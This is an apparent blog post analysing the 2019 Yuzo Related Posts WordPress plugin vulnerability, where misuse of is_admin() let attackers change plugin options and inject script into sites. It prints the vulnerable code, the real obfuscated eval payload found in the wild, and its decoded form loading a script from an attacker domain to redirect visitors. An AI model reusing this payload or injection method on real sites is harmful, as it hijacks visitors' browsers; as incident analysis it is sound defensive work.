Definitely a bad week for Lenin Zapata, author of the well-known Yuzo Related Post plugin for WordPress. The plugin, installed on over 60,000 websites, was removed from the WordPress.org plug-in directory on March 30, 2019 following the public disclosure of a vulnerability in the code. The vulnerability, currently still without patches, allows the attacker to insert a script into the pages of the websites that have the plugin installed using a technique known as Cross-Site Scripting (XSS).
The vulnerability present in the plugin is the result of an improper use of the is_admin() function, which has the precise purpose of verifying whether the URL accessed is in the administration section but which is mistakenly used by many WordPress plugin developers to check if the current user has or less of administrative privileges. A "misunderstanding" far from trivial, to the point that the WordPress Codex explicitly sees the need to refrain from such misuse:
This Conditional Tag checks if the Dashboard or the administration panel is attempting to be displayed. It is a boolean function that will return true if the URL being accessed is in the admin section, or false for a front-end page. This function does not verify whether the current user has permission to view the Dashboard or the administration panel. Use current_user_can() instead.
Here's the source code containing the security flaw, which is part of the assets/ilenframework/core.php file shipped with the plugin:
|
1 2 3 4 5 6 7 |
function __construct(){ if( ! is_admin() ){ // only front-end self::set_main_variable(); return; } elseif( is_admin() ){ // only admin // set default if not exists self::_ini_(); |
As you can see, the code allows to issue a call to the self::ini() function to all requests directed to an administration page - thus including /wp-admin/options-general.php and /wp-admin/admin-post .php - which allows the attacker to inoculate a POST request and, consequently, arbitrarily modify the plugin options via the self::save_options() function (which is called later in the code). Among the various options of the plugin that it is possible to modify in this way there is the yuzo_related_post_css_and_style setting, which allows you to insert custom HTML code within the page: the perfect place to insert a Cross-Site Script in order to perform a series of actions not authorized, including the redirect to another site.
As is now known, the attacker(s) did precisely that, causing a malicious XSS redirect of many yuzo-enabled websites to the hellofromhony.org domain, where the scripts, and then on unsafe sites like silken.ru.
Here's the JavaScript code that was injected inside the yuzo_related_post_css_and_style option:
|
1 |
<script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 100, 100, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 100, 100, 41, 59, 32, 118, 97, 114, 32, 104, 104, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 57, 55, 44, 32, 49, 48, 48, 41, 59, 118, 97, 114, 32, 122, 122, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 48, 54, 44, 32, 57, 55, 44, 32, 49, 49, 56, 44, 32, 57, 55, 44, 32, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 122, 122, 59, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 49, 48, 56, 44, 32, 49, 48, 56, 44, 32, 49, 49, 49, 44, 32, 49, 48, 50, 44, 32, 49, 49, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 49, 48, 44, 32, 49, 50, 49, 44, 32, 52, 54, 44, 32, 49, 49, 49, 44, 32, 49, 49, 52, 44, 32, 49, 48, 51, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 49, 55, 44, 32, 49, 49, 48, 44, 32, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 49, 52, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 104, 104, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59));</script> |
The malicious script consists of a single eval() statement, a function often used by developers to execute "obfuscated" JavaScript in the form of an encoded string. The code, once decoded, can be read in this way:
|
1 2 3 4 5 6 7 |
<script language=javascript> var elem = document.createElement('script'); elem.type = 'text/javascript'; elem.async = true; elem.src = 'https://hellofromhony.org/counter'; document.getElementsByTagName('head')[0].appendChild(elem); </script> |
As you can see, this is a trivial (but far from harmless) redirect script, which allows the attacker to "hijack" each visitor's browser on a web page of his choice.
A big "thank you" to Wordfence.com, the official website of the excellent Wordfence Security WP plugin, for having published the news and therefore warned the entire WordPress community on one of the most relevant threats of recent times.
